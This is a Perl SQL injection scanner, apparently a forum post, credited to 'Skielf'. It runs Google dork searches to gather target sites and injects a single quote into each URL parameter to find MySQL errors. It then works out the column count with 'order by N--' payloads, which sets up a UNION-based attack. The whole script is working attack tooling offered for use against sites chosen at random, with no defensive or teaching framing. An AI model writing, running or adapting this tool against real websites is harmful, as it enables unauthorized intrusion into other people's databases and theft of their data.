SqliScanner.pl

PHP Code:
#!/usr/bin/perl -w

use strict;
use LWP::UserAgent;
use Google::Search;
use utf8;
use Getopt::Long;

use constant DEBUG => 1;

my $__Version__ = 1.0;


############ Globals #################
$| = 1;

my ($ua, $url);
my ($scheme, $host, $path, $query, $fragment) = ('', '', '', '', ''); #URL parts
my (@vars, @vals); # The splited query


my $sqlError = "((?=.*sql)(?=.*syntax))|".
"((?=.*sql)(?=.*error)) |".
"(mysql)";
my $fieldError = "Unknown column|SQL";


############### Basic functions #################
sub createLWP
{
$ua = LWP::UserAgent->new;
$ua->agent('Linux Mozilla');
}

sub parseUrl
{
($scheme, $host, $path, $query, $fragment) =
$url =~ m|^(?[^:/?#]+)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?|;

return if(not defined $query or $query eq ''); # If there is no query

@vars = ();
@vals = ();

foreach my $pair (split /&/, $query)
{
my ($var,$value) = split /=/, $pair;

push @vars, $var;
push @vals, $value;
}
}

sub fetchHTML
{
my $pageURL = shift;
my $res;

$res = $ua->get($pageURL);

#print $res->status_line," " unless ($res->is_success);

return $res->content; # The HTML

}
############# Basic sqli functions #########################
sub checkVuln
{
my $checkURL;
my $html;

return "no" if(not defined $query or $query eq '');

# Check if already contains the sql string
$checkURL = $scheme."://".$host.$path;
$html = fetchHTML($checkURL);

if($html =~ m/$sqlError/i)
{
return "Contains the SQL string by default.";
}

for(my $i=0; $i<@vars; ++$i)
{
$checkURL = $scheme."://".$host.$path."?";

for(my $j=0;$j<@vars;++$j)
{
if($j==$i)
{
$checkURL .= $vars[$j]."=1'";
}
else
{
$checkURL .= $vars[$j]."=".$vals[$j];
}

$checkURL .= "&" if($j<@vals-1);
}

$html = fetchHTML($checkURL);

if($html =~ m/Microsoft/i)
{
return "MSSQL (only MYSQL supported)";
}
if($html =~ m/$sqlError/i)
{
return "yes";
}
}

return "no";
}

sub getNumOfFields
{
my $maxNum = shift;

my $checkURL = $url;

my ($lastVar, $lastVal) = ($vars[$#vars], $vals[$#vals]);
$checkURL =~ s/$lastVar=$lastVal/$lastVar=1 order by /;

my $i;
for($i=1; $i<=$maxNum; $i+=10)
{
my $html = fetchHTML($checkURL.$i."--");

if($html =~ m/$fieldError/i)
{
last;
}
}

for($i=$i; $i>0; --$i)
{
my $html = fetchHTML($checkURL.$i."--");

if($html !~ m/$fieldError/i)
{
return $i;
}
}

return 0;
}

########### Full sqli proccess ########################

sub fullCrack
{
print "Determining site vulnerability... ";

my $vuln = checkVuln;

print "[".$vuln."]\n";

return if($vuln ne 'yes');

print "Enter the max number of fields: ";
my $maxFields = <STDIN>;
chomp $maxFields;

print "Determining number of fields... ";

my $numOfFields = getNumOfFields($maxFields);

if($numOfFields == 0)
{
print "failed!\nTry a bigger number or I just can't get it.\n";
}
else
{
print "[".$numOfFields."]\n";
}
}

################ Print functions ############

sub printBar
{
print "*====================================*\n";
print "|SQL injection scanner made by Skielf|\n";
print "*====================================*\n";
}
sub printMenu
{
print "--------------\n";
print "1: Scan sites\n";
print "2: Scan specific url\n";
print "3: Manual\n";
print "4: exit\n";
print "Command: ";
}

################## Functions from menu #################

sub manual
{
print "-------\n";
print "|Manual|\n";
print "-------\n";
print "General things:\n";
print "The script supports Mysql databases only.\n";
print "Scan sites:\n";
print "\tAsks for a dork, and number of results,\n";
print "\tand searchs in google for valnurable sites\n\t(Tests every parameter)\n";
print "Scan specific url:\n";
print "\tDo a valnurability scan to the url and more.\n";
print "\t(Uses only the last GET parameter)\n";
}
sub scanSpecific
{
print "URL: ";

$url = <STDIN>;
chomp $url;

if($url !~ /(?=.*http)(?=.*www)/)
{
print "Url must be absolute\n";
}
else
{
parseUrl;
fullCrack;
}
}

sub scanSites
{
my $dork;
my $maxPage = 10;

print "Dork: ";

$dork = <STDIN>;
chomp $dork;

print "Maximum result: ";
$maxPage = <STDIN>;
chomp $maxPage;

my $search = Google::Search->Web( query => "inurl:".$dork );

my $i=0;
while ( my $result = $search->next and $i<$maxPage)
{
if($result->uri ne '')
{
$url = $result->uri->as_string;
print $url."...\t";

parseUrl;

print "[".checkVuln."]\n";
}
++$i;
}
print $search->error->reason, "\n" if $search->error;
}

########################################


# The main function
sub main
{
printBar;

createLWP;

my $exit = 0;
while(not $exit)
{
printMenu;

my $cmd = <STDIN>;
chomp $cmd;

if($cmd =~ /1/)
{
scanSites;
}
elsif($cmd =~ /2/)
{
scanSpecific;
}
elsif($cmd =~ /3/)
{
manual;
}
elsif($cmd =~ /4/)
{
$exit = 1;
}
}

print "Bye!\n";
}

# Call the main function
main;